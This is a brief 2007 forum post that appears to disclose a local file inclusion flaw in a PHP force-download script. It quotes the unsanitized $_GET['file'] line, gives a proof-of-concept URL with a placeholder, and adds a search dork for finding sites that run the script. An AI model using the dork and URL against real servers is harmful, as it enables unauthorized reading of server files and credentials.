Ras Posted October 20, 2007 Report Posted October 20, 2007 // Script Title: eLouai's Force Download // Home Script: [url]http://elouai.com/force-download.php[/url] // Vuln Type: Local File Inclusion / LFI // Discovered by: The_PitBull aNd iNs // Bug: <?php $filename = $_GET['file']; // PoC: [url]http://www.site.com/force-download.php?file=[/url][LFI] // D0rk: allinurl: force-download.php?file= Quote